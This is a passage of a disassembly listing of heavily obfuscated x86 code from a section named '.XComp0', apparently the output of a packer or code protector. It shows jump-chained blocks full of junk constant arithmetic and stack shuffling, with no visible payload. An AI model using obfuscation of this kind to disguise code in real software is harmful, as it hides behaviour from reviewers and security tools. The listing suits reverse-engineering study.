		mov	ecx, 73794D8Bh
		add	dword ptr [esp+4], 31044207h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 31044207h
		mov	ecx, [esp]
		push	7326h
		mov	[esp], esi
		jmp	loc_58C6B1
; ---------------------------------------------------------------------------


loc_594FD5:				; CODE XREF: .XComp0:0058622Cj
		add	al, 0ADh
		sub	al, bl
		sub	esp, 2
		mov	[esp], dx
		push	ecx
		mov	cl, 7Fh
		jmp	loc_58BE91
; ---------------------------------------------------------------------------


loc_594FE8:				; CODE XREF: .XComp0:0058CE8Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_590D08
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 6FC7DEAh
		jmp	loc_58852B
; ---------------------------------------------------------------------------


loc_59500C:				; CODE XREF: .XComp0:00590880j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_595011:				; CODE XREF: .XComp0:0058DD9Ej
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	small 2C7h
		mov	si, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 781231F2h
		jmp	loc_58477B
; ---------------------------------------------------------------------------


loc_59502E:				; CODE XREF: .XComp0:00583D82j
		pop	ebp
		neg	ebp
		jmp	loc_58FF43
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	702Eh
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	806h
		jmp	loc_5893D9
; ---------------------------------------------------------------------------


loc_59506F:				; CODE XREF: .XComp0:00585634j
		add	ebp, 4
		jmp	loc_58FB48
; ---------------------------------------------------------------------------


loc_59507A:				; CODE XREF: .XComp0:00588248j
		shl	edx, 8
		jmp	loc_594597
; ---------------------------------------------------------------------------


loc_595082:				; CODE XREF: .XComp0:005906B1j
		mov	[esp], ebp
		pop	ebx
		pop	ebp
		push	ecx
		jmp	loc_593BD9
; ---------------------------------------------------------------------------


loc_59508D:				; CODE XREF: .XComp0:00585526j
		xchg	ebp, [esp]
		jmp	loc_596507
; ---------------------------------------------------------------------------


loc_595095:				; CODE XREF: .XComp0:00592628j
		pop	edx
		xor	ebx, ecx
		pop	ecx
		add	eax, 6E9F6AA3h
		jmp	loc_5988A7
; ---------------------------------------------------------------------------


loc_5950A3:				; CODE XREF: .XComp0:0058A2B3j
		mov	esp, [esp]
		jmp	loc_593C25
; ---------------------------------------------------------------------------


loc_5950AB:				; CODE XREF: .XComp0:00583CFFj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_58FD48
; ---------------------------------------------------------------------------


loc_5950B9:				; CODE XREF: .XComp0:00584288j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5945F4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58A46B
; ---------------------------------------------------------------------------


loc_5950D7:				; CODE XREF: .XComp0:0058D665j
		mov	cl, bh
		pop	ebx
		jmp	loc_58BD3E
; ---------------------------------------------------------------------------


loc_5950DF:				; CODE XREF: .XComp0:00589E82j
		add	ebp, 0A6597750h
		add	edx, ebp
		jmp	loc_58AE35
; ---------------------------------------------------------------------------


loc_5950EC:				; CODE XREF: .XComp0:00596C15j
		sub	edx, 192821DDh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7C777113h
		add	edx, esi
		jmp	loc_58ABD8
; ---------------------------------------------------------------------------


loc_595107:				; CODE XREF: .XComp0:00583B4Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5851C9
; ---------------------------------------------------------------------------


loc_595113:				; CODE XREF: .XComp0:0058B11Dj
		push	edi
		push	ecx
		mov	ecx, 345045D4h
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		shr	ecx, 1
		add	ecx, 78C56792h
		jmp	loc_59314A
; ---------------------------------------------------------------------------


loc_59512D:				; CODE XREF: .XComp0:00584EB6j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_588CCB
; ---------------------------------------------------------------------------


loc_59513E:				; CODE XREF: .XComp0:00587C53j
		mov	edi, [esp]
		jmp	loc_5960E9
; ---------------------------------------------------------------------------


loc_595146:				; CODE XREF: .XComp0:0058A07Aj
		sub	ebx, esi
		sub	ebx, 151C302Fh
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_595EE6
; ---------------------------------------------------------------------------


loc_595160:				; CODE XREF: .XComp0:00593923j
		mov	edx, [esp]
		add	esp, 4
		push	667Ch
		mov	[esp], ebx
		push	ecx
		mov	ecx, 474A14FCh
		mov	ebx, 0B8B5EB05h
		add	ebx, ecx
		jmp	loc_58F1D2
; ---------------------------------------------------------------------------


loc_595183:				; CODE XREF: .XComp0:00595850j
		add	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		sub	edi, 74327E9Eh
		sub	edi, esi
		add	edi, 74327E9Eh
		pop	esi
		xchg	edi, [esp]
		jmp	loc_594C91
; ---------------------------------------------------------------------------


loc_5951A3:				; CODE XREF: .XComp0:0058B07Cj
		push	3F26h
		mov	[esp], esp
		jmp	loc_5929CC
; ---------------------------------------------------------------------------


loc_5951B0:				; CODE XREF: .XComp0:0058617Cj
		mov	ebp, 40987E5Dh
		neg	ebp
		inc	ebp
		push	eax
		mov	eax, 46D7339Bh
		jmp	loc_58C56A
; ---------------------------------------------------------------------------


loc_5951C3:				; CODE XREF: .XComp0:005895E7j
		mov	[esp], ebx
		jmp	loc_5973A2
; ---------------------------------------------------------------------------


loc_5951CB:				; CODE XREF: .XComp0:005916D6j
		xor	edi, ecx
		jmp	loc_5853EA
; ---------------------------------------------------------------------------


loc_5951D2:				; CODE XREF: .XComp0:0058D70Bj
		mov	esi, 49DE70D3h
		not	esi
		shl	esi, 1
		or	esi, 43C90C0Ch
		jmp	loc_58C0CA
; ---------------------------------------------------------------------------


loc_5951E6:				; CODE XREF: .XComp0:00594377j
		pop	ecx
		push	esi
		push	ecx
		mov	ecx, 2F8B174Eh
		push	esi
		mov	esi, 0D074E8B4h
		sub	ecx, 52790115h
		jmp	loc_598F4F
; ---------------------------------------------------------------------------


loc_5951FF:				; CODE XREF: .XComp0:00592517j
		push	6F8B472Fh
		pop	ebx
		and	ebx, 3C6657F2h
		sub	ebx, 3BAD2859h
		jmp	loc_586EC9
; ---------------------------------------------------------------------------


loc_595216:				; CODE XREF: .XComp0:00598205j
		mov	bh, 88h
		jmp	loc_58AF42
; ---------------------------------------------------------------------------


loc_59521D:				; CODE XREF: .XComp0:0058C1FFj
		add	esp, 4
		mov	bl, dh
		pop	edx
		xor	al, bl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_587A51
; ---------------------------------------------------------------------------


loc_595234:				; CODE XREF: .XComp0:0058D430j
		push	esp
		jmp	loc_597D4B
; ---------------------------------------------------------------------------


loc_59523A:				; CODE XREF: .XComp0:005858A8j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58B0A0
; ---------------------------------------------------------------------------


loc_595248:				; CODE XREF: .XComp0:005900E6j
		mov	[esp], edi
		mov	edi, ebp
		mov	esi, edi
		pop	edi


loc_595250:				; DATA XREF: .XComp0:00453030o
		mov	ebp, [esp]


loc_595253:				; DATA XREF: .XComp0:00453004o
		add	esp, 4
		xor	ecx, esi
		pop	esi
		sub	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598E8D
; ---------------------------------------------------------------------------


loc_59526C:				; CODE XREF: .XComp0:0058DBE5j
		mov	edx, 560A6921h
		not	edx
		or	edx, 7F304DC2h
		and	edx, 11A52E75h
		jmp	loc_58AC12
; ---------------------------------------------------------------------------


loc_595284:				; CODE XREF: .XComp0:00586C11j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		add	dword ptr [esp], 2A5E41B6h
		pop	ebp
		sub	ebp, 2A5E41B6h
		mov	[edi+20h], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4


loc_5952B3:				; CODE XREF: .XComp0:00585C92j
					; .XComp0:005963CFj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_590E43
; ---------------------------------------------------------------------------


loc_5952BF:				; CODE XREF: .XComp0:0058EE09j
		push	598C0252h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 31FD19FEh
		jmp	loc_58F1E3
; ---------------------------------------------------------------------------


loc_5952D8:				; CODE XREF: .XComp0:00598DF1j
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_594699
; ---------------------------------------------------------------------------


loc_5952E7:				; CODE XREF: .XComp0:00589C59j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_587151
; ---------------------------------------------------------------------------


loc_5952F0:				; CODE XREF: .XComp0:0058B6D2j
		mov	ebx, [esp]
		add	esp, 4
		inc	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 11B004D1h
		push	esi
		mov	esi, 23643BEDh
		or	eax, esi
		jmp	loc_58E234
; ---------------------------------------------------------------------------


loc_595315:				; CODE XREF: .XComp0:00584D17j
		pop	ecx
		mov	edx, eax
		jmp	loc_595EDB
; ---------------------------------------------------------------------------


loc_59531D:				; CODE XREF: .XComp0:00594A83j
		sub	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_583D52
; ---------------------------------------------------------------------------


loc_595331:				; CODE XREF: .XComp0:0058F837j
		sub	eax, esi
		sub	eax, 26D110EFh
		pop	esi
		sub	eax, 1000359Ch
		add	ebx, eax
		pop	eax
		add	ebp, ebx


loc_595343:				; DATA XREF: .XComp0:00452FFCo
					; .XComp0:004532E4o
		jmp	loc_5920CB
; ---------------------------------------------------------------------------


loc_595348:				; CODE XREF: .XComp0:00592408j
		neg	edx
		jmp	loc_5869D8
; ---------------------------------------------------------------------------


loc_59534F:				; CODE XREF: .XComp0:005918A9j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_58B543
; ---------------------------------------------------------------------------


loc_595359:				; CODE XREF: .XComp0:005880BCj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_59864F
; ---------------------------------------------------------------------------


loc_59537F:				; CODE XREF: .XComp0:0058729Aj
		push	ebx
		jmp	loc_586510
; ---------------------------------------------------------------------------


loc_595385:				; CODE XREF: .XComp0:0058BE07j
					; .XComp0:00590AD5j
		push	3465h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5977E0
; ---------------------------------------------------------------------------


loc_595395:				; CODE XREF: .XComp0:005922A4j
		push	49BF1C6Eh
		jmp	loc_593550
; ---------------------------------------------------------------------------


loc_59539F:				; CODE XREF: .XComp0:00586696j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, eax
		pop	eax
		and	eax, ecx
		jmp	loc_58C407
; ---------------------------------------------------------------------------


loc_5953BB:				; CODE XREF: .XComp0:0058F5E7j
		pop	edx
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, edx
		sub	ebx, 1CC436C0h
		jmp	loc_592714
; ---------------------------------------------------------------------------


loc_5953D1:				; CODE XREF: .XComp0:00591642j
		xchg	esi, [esp]
		jmp	loc_5853CA
; ---------------------------------------------------------------------------


loc_5953D9:				; CODE XREF: .XComp0:0058432Fj
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_592C32
; ---------------------------------------------------------------------------


loc_5953EC:				; CODE XREF: .XComp0:00591EE5j
		push	ebx
		mov	ebx, 8C377C2h
		mov	ecx, ebx
		pop	ebx
		push	ebx
		jmp	loc_5848AE
; ---------------------------------------------------------------------------


loc_5953FB:				; CODE XREF: .XComp0:00594762j
		sub	esi, 38C3481Bh
		jmp	loc_58F798
; ---------------------------------------------------------------------------


loc_595406:				; CODE XREF: .XComp0:0058FBE7j
		add	esp, 4
		add	eax, ebx
		jmp	loc_58CFDD
; ---------------------------------------------------------------------------


loc_595413:				; CODE XREF: .XComp0:00588CC6j
		sub	cl, dl
		mov	dx, [esp]
		add	esp, 2
		add	al, cl
		jmp	loc_5922CE
; ---------------------------------------------------------------------------


loc_595426:				; CODE XREF: .XComp0:0058C3B0j
		xor	cx, 4D01h
		jmp	loc_59137F
; ---------------------------------------------------------------------------


loc_595430:				; CODE XREF: .XComp0:005888EDj
		sub	bx, 0F84Fh
		xor	cx, bx
		pop	ebx
		sub	bp, cx
		mov	ecx, [esp]
		add	esp, 4
		sub	bx, 7AA7h
		add	bx, bp
		push	bp
		mov	bp, 7AA7h
		add	bx, bp
		pop	bp
		pop	ebp
		movzx	eax, ax
		jmp	loc_598AE2
; ---------------------------------------------------------------------------


loc_595461:				; CODE XREF: .XComp0:00596BB3j
		add	bh, 1
		shl	bh, 5
		and	bh, 0A6h
		dec	bh
		push	0FC3h
		jmp	loc_587FAF
; ---------------------------------------------------------------------------


loc_595476:				; CODE XREF: .XComp0:00588A95j
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 360D641Eh
		add	edi, edx
		add	edi, 360D641Eh
		jmp	loc_598626
; ---------------------------------------------------------------------------


loc_59548F:				; CODE XREF: .XComp0:00598F4Aj
		add	esp, 2
		jmp	loc_59468B
; ---------------------------------------------------------------------------


loc_59549A:				; CODE XREF: .XComp0:00590E4Bj
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 34D3370Ah
		dec	edi
		sub	edi, 34D33705h
		push	edi
		sub	dword ptr [esp], 65CA383Ch
		mov	ecx, [esp]
		jmp	loc_587C6B
; ---------------------------------------------------------------------------


loc_5954C7:				; CODE XREF: .XComp0:00585162j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58F224
; ---------------------------------------------------------------------------


loc_5954D8:				; CODE XREF: .XComp0:005940D6j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_5905C3
; ---------------------------------------------------------------------------


loc_5954F0:				; CODE XREF: .XComp0:00598269j
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_58A6E2
; ---------------------------------------------------------------------------


loc_5954FA:				; CODE XREF: .XComp0:00588F09j
		mov	ecx, 319E9CE4h
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	0
		sub	[esp], ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_5899BD
; ---------------------------------------------------------------------------


loc_59551E:				; CODE XREF: .XComp0:00596379j
		push	dword ptr [esp]
		jmp	loc_58EB22
; ---------------------------------------------------------------------------


loc_595526:				; CODE XREF: .XComp0:005963F9j
		mov	[esp], eax
		mov	eax, 1D875ABDh
		jmp	loc_583B50
; ---------------------------------------------------------------------------


loc_595533:				; CODE XREF: .XComp0:0058DC3Fj
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_592CC1
; ---------------------------------------------------------------------------


loc_59554F:				; CODE XREF: .XComp0:00598ADDj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_591F11
; ---------------------------------------------------------------------------


loc_59555A:				; CODE XREF: .XComp0:0058EB59j
		and	ebp, 3CF12E81h
		sub	ebp, 0B01318A8h
		not	ebp
		jmp	loc_59328D
; ---------------------------------------------------------------------------


loc_59556D:				; CODE XREF: .XComp0:0058483Aj
		push	esp
		pop	dword ptr [esp]
		jmp	loc_593ABC
; ---------------------------------------------------------------------------


loc_595576:				; CODE XREF: .XComp0:0058B820j
		pop	eax
		jmp	loc_587B74
; ---------------------------------------------------------------------------


loc_59557C:				; CODE XREF: .XComp0:00588D64j
		add	edi, 7D514052h
		sub	edi, 0EB9071CCh
		push	767h
		jmp	loc_5926D5
; ---------------------------------------------------------------------------


loc_595592:				; CODE XREF: .XComp0:0058A9CAj
		mov	ecx, 4
		sub	ebx, 12814155h
		add	ebx, ecx
		jmp	loc_598D43
; ---------------------------------------------------------------------------


loc_5955A4:				; CODE XREF: .XComp0:0058A847j
		pop	eax
		neg	esi
		jmp	loc_591D58
; ---------------------------------------------------------------------------


loc_5955AC:				; CODE XREF: .XComp0:0059197Dj
		mov	[esp], edx
		push	7F61h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_58831E
; ---------------------------------------------------------------------------


loc_5955C2:				; CODE XREF: .XComp0:0058C8B2j
		add	esp, 4
		push	edx
		jmp	loc_588ADF
; ---------------------------------------------------------------------------


loc_5955CB:				; CODE XREF: .XComp0:00589984j
		add	esi, ecx
		pop	ecx
		jmp	loc_587BCE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3BD2h
		jmp	loc_58AE9B
; ---------------------------------------------------------------------------


loc_5955E1:				; CODE XREF: .XComp0:00587500j
		pop	eax
		push	esi
		mov	esi, esp
		push	7DE5h
		mov	[esp], edi
		push	6E48h
		mov	[esp], ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		push	7AFAh
		mov	[esp], edx
		mov	edx, 7AA60492h
		dec	edx
		shr	edx, 2
		shr	edx, 7
		neg	edx
		jmp	loc_5925B7
; ---------------------------------------------------------------------------


loc_595618:				; CODE XREF: .XComp0:00594A18j
		add	ecx, esi
		jmp	loc_58C700
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFA1E9h, 592434FFh, 81E78957h, 4C7h
		dd 4EC8100h, 0E9000000h, 0FFFFF0BDh
; ---------------------------------------------------------------------------


loc_595640:				; CODE XREF: .XComp0:00593F7Dj
		add	ebp, 4
		push	esi
		mov	esi, 6A312605h
		jmp	loc_584EBB
; ---------------------------------------------------------------------------


loc_595651:				; CODE XREF: .XComp0:005904E6j
		xor	edi, 43A860F0h
		add	edi, 0F196EB43h
		inc	edi
		jmp	loc_58FA1F
; ---------------------------------------------------------------------------


loc_595663:				; CODE XREF: .XComp0:0058FBB1j
		push	esi
		jmp	loc_5946F3
; ---------------------------------------------------------------------------


loc_595669:				; CODE XREF: .XComp0:00597D77j
		mov	esi, 24304A0Ch
		sub	edi, esi
		pop	esi
		add	edi, 38022E47h
		pop	edx
		jmp	loc_58F610
; ---------------------------------------------------------------------------


loc_59567D:				; CODE XREF: .XComp0:00589730j
		pop	edi
		sub	ebp, 4E85FC9Fh
		add	edi, ebp
		pop	ebp
		pop	edx
		dec	edi
		shr	edi, 7
		push	ebx
		mov	ebx, 262C57A7h
		and	edi, ebx
		pop	ebx
		jmp	loc_5974A7
; ---------------------------------------------------------------------------


loc_59569A:				; CODE XREF: .XComp0:0058E169j
		mov	[esp], edi
		push	esi
		mov	esi, esp
		jmp	loc_59266E
; ---------------------------------------------------------------------------


loc_5956A5:				; CODE XREF: .XComp0:0058B9FCj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		not	ecx
		push	4BFEh
		jmp	loc_590859
; ---------------------------------------------------------------------------


loc_5956BB:				; CODE XREF: .XComp0:00588FF7j
		add	ecx, 6F0F6F39h
		add	ecx, ebp
		push	edi
		mov	edi, 6F0F6F39h
		sub	ecx, edi
		pop	edi
		mov	ebp, [esp]
		jmp	loc_587DFE
; ---------------------------------------------------------------------------


loc_5956D4:				; CODE XREF: .XComp0:0058F594j
		add	ebx, 4
		push	edi
		mov	edi, 1B27541Eh
		jmp	loc_598BA6
; ---------------------------------------------------------------------------


loc_5956E5:				; CODE XREF: .XComp0:00584E05j
		add	eax, 31F26ACFh
		push	esi
		jmp	loc_596E7C
; ---------------------------------------------------------------------------


loc_5956F0:				; CODE XREF: .XComp0:0058BE5Fj
		push	7742h
		jmp	loc_58D900
; ---------------------------------------------------------------------------


loc_5956FA:				; CODE XREF: .XComp0:0059223Cj
		push	esi
		mov	esi, 5EF275ADh
		xor	esi, 67A1775Fh
		mov	ebx, esi
		pop	esi
		sub	ebx, 27459E98h
		add	edi, ebx
		pop	ebx
		jmp	loc_590548
; ---------------------------------------------------------------------------


loc_595717:				; CODE XREF: .XComp0:0058C82Dj
		mov	eax, ebp
		jmp	loc_59090C
; ---------------------------------------------------------------------------


loc_59571E:				; CODE XREF: .XComp0:00584A75j
		add	ebx, 3F943014h
		add	ebx, 404E4E28h
		pop	edx
		sub	ebx, eax
		add	ebx, 4771147Bh
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 41051036h
		mov	eax, esi
		pop	esi
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_591405
; ---------------------------------------------------------------------------


loc_59574F:				; CODE XREF: .XComp0:00596051j
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_592ADC
; ---------------------------------------------------------------------------


loc_59575F:				; CODE XREF: .XComp0:0058CC9Cj
		mov	eax, 21F91CB8h
		push	ecx
		mov	ecx, 6FFE3A60h
		jmp	loc_586418
; ---------------------------------------------------------------------------


loc_59576F:				; CODE XREF: .XComp0:00593F25j
		mov	dl, 8Dh
		jmp	loc_59174B
; ---------------------------------------------------------------------------


loc_595776:				; CODE XREF: .XComp0:005851C4j
		add	esp, 4
		pop	dword ptr [esp]
		not	ebx
		jmp	loc_5918C1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_590F5E
; ---------------------------------------------------------------------------


loc_59578C:				; CODE XREF: .XComp0:0058663Fj
		sub	eax, 53CE25C0h
		add	eax, ecx
		push	esi
		mov	esi, 250A5CFDh
		add	esi, 2DEC353Ah
		jmp	loc_587753
; ---------------------------------------------------------------------------


loc_5957A4:				; CODE XREF: .XComp0:0059654Bj
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_58E566
		push	esi
		push	ebx
		push	ebp
		mov	ebp, 43E26E04h
		sub	ebp, 26850EEBh
		jmp	loc_5906AC
; ---------------------------------------------------------------------------


loc_5957C5:				; CODE XREF: .XComp0:0058692Aj
		mov	[esp], edx
		mov	edx, 6756435Ch
		push	edi
		push	edx
		mov	edx, 36B7093Eh
		jmp	loc_596D87
; ---------------------------------------------------------------------------


loc_5957D9:				; CODE XREF: .XComp0:0058A224j
		add	edi, 6BB6DC6h
		add	edi, ecx
		jmp	loc_587EA6
; ---------------------------------------------------------------------------


loc_5957E6:				; CODE XREF: .XComp0:00592057j
		add	ebx, ecx
		sub	ebx, 45B0244Ah
		pop	ecx
		jmp	loc_591856
; ---------------------------------------------------------------------------


loc_5957F4:				; CODE XREF: .XComp0:005949DDj
		mov	[esp], ebp
		push	edx
		jmp	loc_5928B9
; ---------------------------------------------------------------------------


loc_5957FD:				; CODE XREF: .XComp0:00596CABj
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	edx, 113E1987h
		add	edx, edi
		add	edx, 113E1987h
		pop	edi
		push	20C4h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59101D
; ---------------------------------------------------------------------------


loc_595844:				; CODE XREF: .XComp0:00590C2Dj
		push	ecx
		mov	ecx, 4ADA68F5h
		xor	ecx, 4ADA68F1h
		jmp	loc_595183
; ---------------------------------------------------------------------------


loc_595855:				; CODE XREF: .XComp0:005879E1j
		pop	ebp
		jmp	loc_587D74
; ---------------------------------------------------------------------------


loc_59585B:				; CODE XREF: .XComp0:0058B84Dj
		add	edx, 2470FFBEh
		sub	eax, 1F743298h
		jmp	loc_584ECF
; ---------------------------------------------------------------------------


loc_59586B:				; CODE XREF: .XComp0:00584E3Aj
		push	78CAh
		jmp	loc_5903F1
; ---------------------------------------------------------------------------


loc_595875:				; CODE XREF: .XComp0:0058D5E7j
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 3A227050h
		jmp	loc_5851D8
; ---------------------------------------------------------------------------


loc_595889:				; CODE XREF: .XComp0:00594446j
		add	ebx, ebp
		add	ebx, 35B4566Bh
		pop	ebp
		dec	ebx
		jmp	loc_5890CE
; ---------------------------------------------------------------------------


loc_595898:				; CODE XREF: .XComp0:00584971j
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	1CDh
		mov	[esp], edi
		mov	edi, esp
		push	4189h
		jmp	loc_5969C2
; ---------------------------------------------------------------------------


loc_5958B6:				; CODE XREF: .XComp0:005864E0j
		mov	ecx, 83D7D34h
		dec	ecx
		dec	ecx
		and	ecx, 9B6248Fh
		shr	ecx, 1
		add	ecx, 364B160Bh
		add	ecx, 0F5385717h
		mov	edx, ecx
		pop	ecx
		add	[esp+4], edx
		jmp	loc_593A59
; ---------------------------------------------------------------------------


loc_5958DD:				; CODE XREF: .XComp0:00592E0Cj
		pop	ebp
		jmp	loc_58DB5B
; ---------------------------------------------------------------------------


loc_5958E3:				; CODE XREF: .XComp0:0058D69Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	255h
		jmp	loc_587B98
; ---------------------------------------------------------------------------


loc_5958F4:				; CODE XREF: .XComp0:0058DCB8j
		xchg	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edi
		push	esp
		pop	edi
		push	99Ah
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_583E65
; ---------------------------------------------------------------------------


loc_595913:				; CODE XREF: .XComp0:00596DDEj
		add	edi, 487A3DA2h
		add	edi, esi
		sub	edi, 487A3DA2h
		sub	edi, 0FC26655h
		jmp	loc_584DEB
; ---------------------------------------------------------------------------


loc_59592C:				; CODE XREF: .XComp0:0058E22Fj
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 20FF6773h
		neg	esi
		shr	esi, 4
		not	esi
		or	esi, 73317EA8h
		jmp	loc_588707
; ---------------------------------------------------------------------------


loc_59594D:				; CODE XREF: .XComp0:00588702j
		mov	[esp], eax
		mov	al, 11h
		jmp	loc_58538E
; ---------------------------------------------------------------------------


loc_595957:				; CODE XREF: .XComp0:0058E2D5j
		pop	edx
		add	esi, 1B663EE5h
		dec	esi
		sub	esi, 1BC943EAh
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_595977:				; CODE XREF: .XComp0:005914E6j
		mov	ch, bl
		push	ebx
		mov	bl, ch
		mov	dl, bl
		pop	ebx
		pop	ecx
		mov	cl, dl
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		pop	edx
		push	7B09h
		jmp	loc_596AD7
; ---------------------------------------------------------------------------


loc_595997:				; CODE XREF: .XComp0:005871F4j
		or	ecx, 58F00543h
		and	ecx, 56F129C3h
		or	ecx, 17C635F4h
		jmp	loc_58B72C
; ---------------------------------------------------------------------------
		lodsb
		push	3603h
		jmp	loc_594901
; ---------------------------------------------------------------------------


loc_5959B9:				; CODE XREF: .XComp0:0058CEA3j
		push	esi
		mov	esi, 0AAB51A5h
		mov	edx, esi
		pop	esi
		sub	edx, 0B5DA46C6h
		mov	edi, edx
		jmp	loc_58E54E
; ---------------------------------------------------------------------------


loc_5959CF:				; CODE XREF: .XComp0:0059472Cj
		mov	[esp], ax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5959D8:				; CODE XREF: .XComp0:0058856Bj
		sub	esi, 18EE34EDh
		add	edi, esi
		pop	esi
		jmp	loc_59330E
; ---------------------------------------------------------------------------


loc_5959E6:				; CODE XREF: .XComp0:0058A139j
		mov	esi, 3552737Ah
		jmp	loc_586B23
; ---------------------------------------------------------------------------


loc_5959F0:				; CODE XREF: .XComp0:0058A995j
		shr	dl, 5
		jmp	loc_591C1D
; ---------------------------------------------------------------------------


loc_5959F8:				; CODE XREF: .XComp0:00589EC8j
		sub	bl, dh
		sub	bl, 30h
		add	bl, 10h
		jmp	loc_5897C8
; ---------------------------------------------------------------------------


loc_595A05:				; CODE XREF: .XComp0:00597B52j
		add	ebx, 769609ACh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5852DE
; ---------------------------------------------------------------------------


loc_595A2C:				; CODE XREF: .XComp0:0059009Fj
		pop	edx
		push	ebx
		jmp	loc_589330
; ---------------------------------------------------------------------------


loc_595A33:				; CODE XREF: .XComp0:005890A1j
		xor	ebp, 59344B3Ah
		sub	ebp, 69F44A4h
		add	edx, ebp
		pop	ebp
		sub	edx, eax
		sub	edx, 1F641A83h
		jmp	loc_58AAF0
; ---------------------------------------------------------------------------


loc_595A4F:				; CODE XREF: .XComp0:00592B87j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_590D75
